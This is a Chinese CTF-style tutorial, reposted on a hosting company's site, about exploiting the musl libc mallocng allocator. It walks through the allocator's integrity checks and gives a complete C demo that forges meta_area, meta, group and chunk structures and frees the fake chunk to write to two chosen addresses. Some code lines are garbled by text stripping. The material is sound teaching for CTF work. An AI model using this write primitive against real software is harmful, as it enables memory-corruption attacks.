muslpwn入門(2)-創(chuàng)新互聯(lián)

在上一篇文章中我們學(xué)習(xí)了musl libc中內(nèi)存分配的相關(guān)知識,了解了重要的數(shù)據(jù)結(jié)構(gòu)及函數(shù)內(nèi)容。本文將在此基礎(chǔ)上進一步分析musl pwn的利用方式。

成都創(chuàng)新互聯(lián)從2013年成立,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務(wù)公司,擁有項目成都網(wǎng)站建設(shè)、成都網(wǎng)站制作網(wǎng)站策劃,項目實施與項目整合能力。我們以讓每一個夢想脫穎而出為使命,1280元林芝做網(wǎng)站,已為上家服務(wù),為林芝各地企業(yè)和個人服務(wù),聯(lián)系電話:028-86922220

musl libc利用的核心思想是向free中傳入一個假的chunk指針。由于free函數(shù)會通過該chunk進行回溯,獲取到其所在的groupmeta,因此除了構(gòu)造假chunk外,還需要構(gòu)造假group和假meta。如果在假meta中合理構(gòu)造prevnext指針,在nontrivial_free中調(diào)用dequeue函數(shù)就可以實現(xiàn)這兩個地址互相寫。

但在整個流程中,我們需要繞過很多檢查,以及進入正確的分支。

free中會調(diào)用nontrivial_freefree中調(diào)用的get_meta函數(shù)中有一些檢查項:

(/src/malloc/mallocng/meta.h, line 129)
static inline struct meta *get_meta(const unsigned char *p)
{assert(!((uintptr_t)p & 15));
	int offset = *(const uint16_t *)(p - 2);
	int index = get_slot_index(p);
	if (p[-4]) {assert(!offset);
		offset = *(uint32_t *)(p - 8);
		assert(offset >0xffff);
	}
	const struct group *base = (const void *)(p - UNIT*offset - UNIT);
	const struct meta *meta = base->meta;
	assert(meta->mem == base);
	assert(index<= meta->last_idx);
	assert(!(meta->avail_mask & (1u<freed_mask & (1u<check == ctx.secret);
	if (meta->sizeclass< 48) {assert(offset >= size_classes[meta->sizeclass]*index);
		assert(offset< size_classes[meta->sizeclass]*(index+1));
	} else {assert(meta->sizeclass == 63);
	}
	if (meta->maplen) {assert(offset<= meta->maplen*4096UL/UNIT - 1);
	}
	return (struct meta *)meta;
}
  1. meta->mem == base,即meta中保存的group指針要正確。
  2. index<= meta->last_idx,即chunk的索引不能越界。
  3. area->check == ctx.secret,即meta所在的meta_area的校驗值正確。
  4. offset >= size_classes[meta->sizeclass]*index
  5. offset< size_classes[meta->sizeclass]*(index+1),這兩個檢查offset和chunk大小是否對應(yīng)。
  6. assert(offset<= meta->maplen*4096UL/UNIT - 1);,即檢查offset是否越界。

如果偽造的meta位于一個偽造的meta_area中,需要首先獲取校驗值secret并保存到meta_area開頭,即這一頁最開始的地方。

通過這個函數(shù)的檢查之后,nontrivial_free的分支語句:

static struct mapinfo nontrivial_free(struct meta *g, int i)
{uint32_t self = 1u<sizeclass;
	uint32_t mask = g->freed_mask | g->avail_mask;

	if (mask+self == (2u<last_idx)-1 && okay_to_free(g)) {// any multi-slot group is necessarily on an active list
		// here, but single-slot groups might or might not be.
		if (g->next) {	assert(sc< 48);
			int activate_new = (ctx.active[sc]==g);
			dequeue(&ctx.active[sc], g);
			if (activate_new && ctx.active[sc])
				activate_group(ctx.active[sc]);
		}
		return free_group(g);
	} else if (!mask) {assert(sc< 48);
		// might still be active if there were no allocations
		// after last available slot was taken.
		if (ctx.active[sc] != g) {	queue(&ctx.active[sc], g);
		}
	}
	a_or(&g->freed_mask, self);
	return (struct mapinfo){0 };
}

這里要求mask+self == (2u<last_idx)-1 && okay_to_free(g),因此要合理設(shè)置meta的兩個mask的值。

之后調(diào)用了free_group

static struct mapinfo free_group(struct meta *g)
{struct mapinfo mi = {0 };
	int sc = g->sizeclass;
	if (sc< 48) {ctx.usage_by_class[sc] -= g->last_idx+1;
	}
	if (g->maplen) {step_seq();
		record_seq(sc);
		mi.base = g->mem;
		mi.len = g->maplen*4096UL;
	} else {void *p = g->mem;
		struct meta *m = get_meta(p);
		int idx = get_slot_index(p);
		g->mem->meta = 0;
		// not checking size/reserved here; it's intentionally invalid
		mi = nontrivial_free(m, idx);
	}
	free_meta(g);
	return mi;
}

這里我們不能在if-else語句中跳轉(zhuǎn)到else分支,那樣會再一次調(diào)用nontrivial_free,因此要保證metamaplen字段不為0。

這些檢查與條件判斷通過后,就可以成功釋放假chunk了。

下面就是musl libc unlink漏洞的demo程序,如有任何非預(yù)期情況請與筆者聯(lián)系,不勝感激。

#include#include#include#include#includestruct meta {struct meta *prev, *next;
    struct group *mem;
    volatile int avail_mask, freed_mask;
    unsigned long long last_idx:5;
    unsigned long long freeable:1;
    unsigned long long sizeclass:6;
    unsigned long long maplen:8*8-12;
};

struct group {struct meta *meta;
    unsigned char active_idx:5;
    char pad[0x10 - sizeof(struct meta *) - 1];
    unsigned char storage[];
};

struct meta_area {unsigned long long check;
    struct meta_area *next;
    int nslots;
    struct meta slots[];
};

unsigned long long victim_1[0x8];
unsigned long long victim_2[0x8];

#define BLACK       "30"
#define RED         "31"
#define GREEN       "32"
#define YELLOW      "33"
#define BLUE        "34"
#define PURPLE      "35"
#define GREEN_DARK  "36"
#define WHITE       "37"

#define UNDEFINED   "-"
#define HIGHLIGHT   "1"
#define UNDERLINE   "4"
#define SPARK       "5"

#define STR_END      "\033[0m"

void printf_color(char* color, char* effect, char* string){char buffer[0x1000] = {0};
    strcpy(buffer, "\033[");
    if(effect[0] != '-'){strcat(buffer, effect);
        strcat(buffer, ";");
    }
    strcat(buffer, color);
    strcat(buffer, "m");
    strcat(buffer, string);
    printf("%s" STR_END, buffer);
}

void print_binary(char* buf, int length){printf("---------------------------------------------------------------------------\n");
    printf("Address info starting in %p:\n", buf);
    int index = 0;
    char output_buffer[80];
    memset(output_buffer, '\0', 80);
    memset(output_buffer, ' ', 0x10);
    for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){char temp_buffer[0x10];
        memset(temp_buffer, '\0', 0x10);
        sprintf(temp_buffer, "%#5x", index);
        strcpy(output_buffer, temp_buffer);
        output_buffer[5] = ' ';
        output_buffer[6] = '|';
        output_buffer[7] = ' ';
        for(int j=0; j<16; j++){if(index+j >= length)
                sprintf(output_buffer+8+3*j, "   ");
            else{sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
                if(!isprint(buf[index+j]))
                    output_buffer[58+j] = '.';
                else
                    output_buffer[58+j] = buf[index+j];
            }
        }
        output_buffer[55] = ' ';
        output_buffer[56] = '|';
        output_buffer[57] = ' ';
        printf("%s\n", output_buffer);
        memset(output_buffer+58, '\0', 16);
        index += 16;
    }
    printf("---------------------------------------------------------------------------\n");
}

struct group* get_group(const unsigned char* chunk){int offset = *(const unsigned short *)(chunk - 2);
    if (chunk[-4])
        offset = *(unsigned int *)(chunk - 8);
    struct group* group_addr = (void *)(chunk - 0x10*offset - 0x10);
    return group_addr;
}

struct meta* get_meta(const unsigned char* chunk){struct group* group_addr = get_group(chunk);
    struct meta* meta_addr = group_addr->meta;
    return meta_addr;
}

struct meta_area* get_meta_area(const void* meta){return (struct meta_area*)((unsigned long long)meta & -4096);
}

int main(){printf_color(GREEN, UNDEFINED, "本程序用于演示musl libc中的unlink操作。\n");
    printf_color(GREEN, UNDEFINED, "測試環(huán)境:ubuntu 22.04,musl libc版本:1.2.2。\n");
    printf_color(GREEN, UNDEFINED, "鑒于musl libc的輕量性,與其相關(guān)的利用方式也較為單一。\n");
    printf_color(GREEN, UNDEFINED, "本程序所演示的unlink是最為常用的一種利用方式之一。\n");

    printf_color(GREEN, UNDEFINED, "musl libc與glibc不同,在主程序的main函數(shù)開始執(zhí)行時,內(nèi)存分配器就已經(jīng)完成了初始化。\n");
    printf_color(GREEN, UNDEFINED, "請注意:在一個group中分配出來的chunk很可能在地址空間上不相鄰。\n");
    printf_color(GREEN, UNDEFINED, "因為一個group需要確保每個chunk都能夠容納該范圍內(nèi)大的chunk。\n");
    printf_color(GREEN, UNDEFINED, "因此,調(diào)試便是musl libc賽題的重中之重。\n");
    printf_color(GREEN, UNDEFINED, "下面是剛剛進入main函數(shù)時堆的情況:\n");
    printf_color(PURPLE, HIGHLIGHT,
                 "pwndbg>mheap\n"
                 "          secret : 0xd8e803bc461ae35a\n"
                 "    mmap_counter : 0x0\n"
                 "      avail_meta : 0x55555555a0e0 (count: 96)\n"
                 "       free_meta : 0\n"
                 " avail_meta_area : 0x55555555b000 (count: 0)\n"
                 "  meta_area_head : 0x55555555a000\n"
                 "  meta_area_tail : 0x55555555a000\n"
                 "       active[7] : 0x55555555a090 (mem: 0x555555558f40) ->0x55555555a0b8 (mem: 0x7ffff7ffef40) [0x80]\n"
                 "      active[15] : 0x55555555a068 (mem: 0x555555558d40) [0x1f0]\n"
                 "      active[19] : 0x55555555a040 (mem: 0x555555558940) [0x3f0]\n"
                 "      active[23] : 0x55555555a018 (mem: 0x555555558140) [0x7f0]\n\n");

    printf_color(GREEN, UNDEFINED, "可見已經(jīng)有一些meta被鏈入到鏈表數(shù)組之中了。\n");
    printf_color(GREEN, UNDEFINED, "但這對做題的影響并不大,通過多次調(diào)試,我們就能夠讓自己的chunk進入想要的meta。\n");
    printf_color(GREEN, UNDEFINED, "接下來讓我們嘗試分配幾個chunk。\n");

    void* chunks[14];

    for(int i=0; i<14; i++) {chunks[i] = malloc(0x140);
        printf_color(GREEN, UNDEFINED, "第");
        printf("\033[" GREEN "m%d\033[0m", i+1);
        printf_color(GREEN, UNDEFINED, "次malloc返回的地址為:");
        printf("\033[1;31m%p\n\033[0m", chunks[i]);
    }

    printf_color(GREEN, UNDEFINED, "\n接下來讓我們用源碼中給出的尋找chunk所在meta的方法回溯這些chunk所在的group和meta。\n");
    struct group* groups[14];
    struct meta* metas[14];
    for(int i=0; i<14; i++){groups[i] = get_group(chunks[i]);
        metas[i] = get_meta(chunks[i]);
    }

    for(int i=0; i<14; i++){printf_color(GREEN, UNDEFINED, "第");
        printf("\033[" GREEN "m%d\033[0m", i+1);
        printf_color(GREEN, UNDEFINED, "次malloc獲得chunk的group地址和meta地址分別為:");
        printf("\033[1;31m%p %p\n\033[0m", groups[i], metas[i]);
    }

    printf_color(GREEN, UNDEFINED, "通過nontrivial_free中的dequeue函數(shù)進行unlink,首先要通過get_meta函數(shù)的重重檢查:\n\n");
    printf_color(YELLOW, HIGHLIGHT, "(/src/malloc/mallocng/meta.h, line 129)\n");
    printf_color(PURPLE, HIGHLIGHT,
                 "static inline struct meta *get_meta(const unsigned char *p)\n"
                 "{\n"
                 "\tassert(!((uintptr_t)p & 15));\n"
                 "\tint offset = *(const uint16_t *)(p - 2);\n"
                 "\tint index = get_slot_index(p);\n"
                 "\tif (p[-4]) {\n"
                 "\t\tassert(!offset);\n"
                 "\t\toffset = *(uint32_t *)(p - 8);\n"
                 "\t\tassert(offset >0xffff);\n"
                 "\t}\n"
                 "\tconst struct group *base = (const void *)(p - UNIT*offset - UNIT);\n"
                 "\tconst struct meta *meta = base->meta;\n"
                 "\tassert(meta->mem == base);\n"
                 "\tassert(index<= meta->last_idx);\n"
                 "\tassert(!(meta->avail_mask & (1u<freed_mask & (1u<check == ctx.secret);\n"
                 "\tif (meta->sizeclass< 48) {\n"
                 "\t\tassert(offset >= size_classes[meta->sizeclass]*index);\n"
                 "\t\tassert(offset< size_classes[meta->sizeclass]*(index+1));\n"
                 "\t} else {\n"
                 "\t\tassert(meta->sizeclass == 63);\n"
                 "\t}\n"
                 "\tif (meta->maplen) {\n"
                 "\t\tassert(offset<= meta->maplen*4096UL/UNIT - 1);\n"
                 "\t}\n"
                 "\treturn (struct meta *)meta;\n"
                 "}\n\n");

    printf_color(GREEN, UNDEFINED, "下面我們逐一查看一下這些檢查的具體內(nèi)容。\n");
    printf_color(YELLOW, HIGHLIGHT, "1. meta->mem == base,即meta中保存的group指針要正確。\n");
    printf_color(YELLOW, HIGHLIGHT, "2. index<= meta->last_idx,即chunk的索引不能越界。\n");
    printf_color(RED   , HIGHLIGHT, "3. area->check == ctx.secret,即meta所在的meta_area的校驗值正確。\n");
    printf_color(YELLOW, HIGHLIGHT, "4. offset >= size_classes[meta->sizeclass]*index\n");
    printf_color(YELLOW, HIGHLIGHT, "5. offset< size_classes[meta->sizeclass]*(index+1),這兩個檢查offset和chunk大小是否對應(yīng)。\n");
    printf_color(YELLOW, HIGHLIGHT, "6. assert(offset<= meta->maplen*4096UL/UNIT - 1);,即檢查offset是否越界。\n");

    printf_color(GREEN, UNDEFINED, "這些檢查之中對我們最為重要的就是校驗值的檢查。\n");
    printf_color(GREEN, UNDEFINED, "只有泄露出secret值,我們才能釋放偽造meta_area中偽造meta的group的chunk。\n");

    struct meta_area* area = get_meta_area(metas[0]);
    printf_color(GREEN, UNDEFINED, "上面分配的所有meta均在同一個meta_area中,地址為:");
    printf("\033[1;" YELLOW "m%p\n\033[0m", area);

    printf_color(GREEN, UNDEFINED, "可以由此獲取到secret的值為:");
    printf("\033[1;" YELLOW "m%#llx\n\n\033[0m", area->check);

    unsigned long long secret = area->check;

    printf_color(GREEN, UNDEFINED, "接下來我們來偽造chunk以及其上的結(jié)構(gòu)。\n");

    void* mmap_space = mmap((void*)0xdeadbeef000, 0x2000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0);
    struct meta_area* fake_meta_area = mmap_space;
    fake_meta_area->check = secret;

    struct meta* fake_meta = (struct meta*)((unsigned long long) mmap_space + 0x100);
    fake_meta->maplen = 1;
    fake_meta->sizeclass = 7;       // group中保存的chunk大小,這里設(shè)置為0x80
    fake_meta->last_idx = 4;        // group中chunk的總數(shù),這里設(shè)置為4表示chunk總數(shù)為5
    fake_meta->freeable = 1;        // 通過okay_to_free檢查

    struct group* fake_group = (struct group*)((unsigned long long) mmap_space + 0x1000);
    fake_meta->mem = fake_group;    // 通過檢查1
    fake_group->meta = fake_meta;   // 使group能夠找到meta
    fake_meta->avail_mask = 0b11101;// 使nontrivial_free進入if循環(huán),得以執(zhí)行dequeue

    char* fake_chunk = (char*)((unsigned long long) mmap_space + 0x1000 + 0x10 + 0x80);
    *(unsigned short *)(fake_chunk - 2) = 8;    // offset
    *(unsigned char*)(fake_chunk - 3) = 1;      // index

    printf_color(GREEN, UNDEFINED, "繞過第1個檢查,只需要設(shè)置meta中的group指針為假group指針即可。\n");
    printf_color(GREEN, UNDEFINED, "第2個檢查需要正確設(shè)置chunk的index值,本程序釋放的是group中第2個chunk,因此索引為1。\n");
    printf_color(GREEN, UNDEFINED, "注意索引值存放的位置,是chunk地址-3這個字節(jié)。\n");
    printf_color(GREEN, UNDEFINED, "第3個檢查需要我們提前泄露secret的值,并填寫到meta_area中。\n");
    printf_color(GREEN, UNDEFINED, "檢查4和5只需要正確計算chunk的大小,填寫chunk的索引值即可。\n");
    printf_color(GREEN, UNDEFINED, "本程序嘗試釋放sizeclass=7的chunk,即chunk大小為0x80,因此第2個chunk的索引為0x80>>4=8。\n");
    printf_color(GREEN, UNDEFINED, "索引值index保存在chunk的前面兩個字節(jié)中,正確填入即可。\n");
    printf_color(GREEN, UNDEFINED, "正確設(shè)置index后,檢查6一般也是沒有問題的。\n\n");

    printf_color(GREEN, UNDEFINED, "在通過get_meta的檢查后,還需要通過nontrivial_free中的if語句條件判斷。\n\n");
    printf_color(YELLOW, HIGHLIGHT, "(/src/malloc/mallocng/free.c, line 72)\n");
    printf_color(PURPLE, HIGHLIGHT,
                 "static struct mapinfo nontrivial_free(struct meta *g, int i)\n"
                 "{\n"
                 "\tuint32_t self = 1u<sizeclass;\n"
                 "\tuint32_t mask = g->freed_mask | g->avail_mask;\n"
                 "\n"
                 "\t\033[1;31mif (mask+self == (2u<last_idx)-1 && okay_to_free(g))\033[1;" PURPLE "m {\n"
                 "\t\t// any multi-slot group is necessarily on an active list\n"
                 "\t\t// here, but single-slot groups might or might not be.\n"
                 "\t\tif (g->next) {\n"
                 "\t\t\tassert(sc< 48);\n"
                 "\t\t\tint activate_new = (ctx.active[sc]==g);\n"
                 "\t\t\tdequeue(&ctx.active[sc], g);\n"
                 "\t\t\tif (activate_new && ctx.active[sc])\n"
                 "\t\t\t\tactivate_group(ctx.active[sc]);\n"
                 "\t\t}\n"
                 "\t\treturn free_group(g);\n"
                 "\t} else if (!mask) {\n"
                 "\t\tassert(sc< 48);\n"
                 "\t\t// might still be active if there were no allocations\n"
                 "\t\t// after last available slot was taken.\n"
                 "\t\tif (ctx.active[sc] != g) {\n"
                 "\t\t\tqueue(&ctx.active[sc], g);\n"
                 "\t\t}\n"
                 "\t}\n"
                 "\ta_or(&g->freed_mask, self);\n"
                 "\treturn (struct mapinfo){ 0 };\n"
                 "}\n\n");

    printf_color(GREEN, UNDEFINED, "只需要修改meta中的freeable字段為1即可通過該檢查。\n");

    printf_color(GREEN, UNDEFINED, "最后還需要在free_group中進入正確的else分支:\n\n");
    printf_color(RED, HIGHLIGHT, "(/src/malloc/mallocng/free.c, line 14)\n");
    printf_color(PURPLE, HIGHLIGHT,
                 "static struct mapinfo free_group(struct meta *g)\n"
                 "{\n"
                 "\tstruct mapinfo mi = { 0 };\n"
                 "\tint sc = g->sizeclass;\n"
                 "\tif (sc< 48) {\n"
                 "\t\tctx.usage_by_class[sc] -= g->last_idx+1;\n"
                 "\t}\n"
                 "\tif (g->maplen) {\n"
                 "\t\tstep_seq();\n"
                 "\t\trecord_seq(sc);\n"
                 "\t\tmi.base = g->mem;\n"
                 "\t\tmi.len = g->maplen*4096UL;\n"
                 "\t} else {\n"
                 "\t\tvoid *p = g->mem;\n"
                 "\t\tstruct meta *m = get_meta(p);\n"
                 "\t\tint idx = get_slot_index(p);\n"
                 "\t\tg->mem->meta = 0;\n"
                 "\t\t// not checking size/reserved here; it's intentionally invalid\n"
                 "\t\tmi = nontrivial_free(m, idx);\n"
                 "\t}\n"
                 "\tfree_meta(g);\n"
                 "\treturn mi;\n"
                 "}\n\n");
    printf_color(GREEN, UNDEFINED, "這需要我們設(shè)置meta->maplen為非零值,防止再次進入nontrivial_free。\n");
    printf_color(GREEN, UNDEFINED, "這里的maplen就設(shè)置為group占用的頁數(shù)量即可。\n");

    printf_color(GREEN, UNDEFINED, "接下來我們向meta的兩個鏈表指針寫入事先準(zhǔn)備好的地址。\n");
    printf_color(GREEN, UNDEFINED, "meta->prev寫入:");
    printf("\033[1;" YELLOW "m%p\033[0m\n", victim_1);
    printf_color(GREEN, UNDEFINED, "meta->next寫入:");
    printf("\033[1;" YELLOW "m%p\033[0m\n", victim_2);

    fake_meta->prev = (struct meta*)victim_1;
    fake_meta->next = (struct meta*)victim_2;

    printf_color(GREEN, UNDEFINED, "下面調(diào)用free函數(shù)釋放這個假chunk。\n\n");

    free(fake_chunk);

    printf_color(GREEN, UNDEFINED, "釋放后,目標(biāo)地址附近的值已經(jīng)被成功修改:\n");
    print_binary((char*)victim_1, 0x80);

    return 0;
}

這證明使用一個假chunk修改兩個地址的值是可行的,在free之后,chunk所在的頁被釋放了,這樣就不會對接下來的進一步利用造成其他任何影響了。

為了利用unlink,我們需要構(gòu)造很多東西,不能落下其中任何一個,在解題與學(xué)習(xí)時要特別注意。在下一篇文章中筆者將會分析unlink如何與FILE結(jié)構(gòu)體配合,從而最終getshell。

你是否還在尋找穩(wěn)定的海外服務(wù)器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機房具備T級流量清洗系統(tǒng)配攻擊溯源,準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性,企業(yè)級服務(wù)器適合批量采購,新人活動首月15元起,快前往官網(wǎng)查看詳情吧

標(biāo)題名稱:muslpwn入門(2)-創(chuàng)新互聯(lián)
本文來源:http://muchs.cn/article24/hesje.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供ChatGPT網(wǎng)站設(shè)計公司、小程序開發(fā)外貿(mào)建站、動態(tài)網(wǎng)站、建站公司

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

手機網(wǎng)站建設(shè)